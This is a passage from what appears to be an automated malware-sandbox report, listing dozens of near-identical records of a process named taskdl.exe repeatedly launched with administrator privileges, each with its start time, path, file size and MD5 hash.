                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:83
                                                                                                      Start time:03:28:38
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:84
                                                                                                      Start time:03:28:38
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:85
                                                                                                      Start time:03:28:39
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:86
                                                                                                      Start time:03:28:39
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:87
                                                                                                      Start time:03:28:39
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:88
                                                                                                      Start time:03:28:39
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:89
                                                                                                      Start time:03:28:39
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:90
                                                                                                      Start time:03:28:40
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:91
                                                                                                      Start time:03:28:40
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:92
                                                                                                      Start time:03:28:40
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:93
                                                                                                      Start time:03:28:40
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:94
                                                                                                      Start time:03:28:41
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:95
                                                                                                      Start time:03:28:41
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:96
                                                                                                      Start time:03:28:41
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:97
                                                                                                      Start time:03:28:41
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:98
                                                                                                      Start time:03:28:41
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:99
                                                                                                      Start time:03:28:42
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:100
                                                                                                      Start time:03:28:42
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:101
                                                                                                      Start time:03:28:42
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:102
                                                                                                      Start time:03:28:42
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:103
                                                                                                      Start time:03:28:42
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:104
                                                                                                      Start time:03:28:43
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:105
                                                                                                      Start time:03:28:43
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:106
                                                                                                      Start time:03:28:43
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:107
                                                                                                      Start time:03:28:43
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:108
                                                                                                      Start time:03:28:43
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:109
                                                                                                      Start time:03:28:44
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:110
                                                                                                      Start time:03:28:44
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:111
                                                                                                      Start time:03:28:44
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:112
                                                                                                      Start time:03:28:44
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:113
                                                                                                      Start time:03:28:45
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:114
                                                                                                      Start time:03:28:45
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:115
                                                                                                      Start time:03:28:45
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:116
                                                                                                      Start time:03:28:45
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:117
                                                                                                      Start time:03:28:45
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:118
                                                                                                      Start time:03:28:46
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:119
                                                                                                      Start time:03:28:46
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:120
                                                                                                      Start time:03:28:46
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:121
                                                                                                      Start time:03:28:46
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:122
                                                                                                      Start time:03:28:46
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:123
                                                                                                      Start time:03:28:47
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:124
                                                                                                      Start time:03:28:47
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:125
                                                                                                      Start time:03:28:47
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:126
                                                                                                      Start time:03:28:47
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:127
                                                                                                      Start time:03:28:48
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:128
                                                                                                      Start time:03:28:48
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:129
                                                                                                      Start time:03:28:48
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:130
                                                                                                      Start time:03:28:48
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:131
                                                                                                      Start time:03:28:48
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:132
                                                                                                      Start time:03:28:49
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:133
                                                                                                      Start time:03:28:49
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:134
                                                                                                      Start time:03:28:49
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:135
                                                                                                      Start time:03:28:49
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:136
                                                                                                      Start time:03:28:49
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:137
                                                                                                      Start time:03:28:50
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
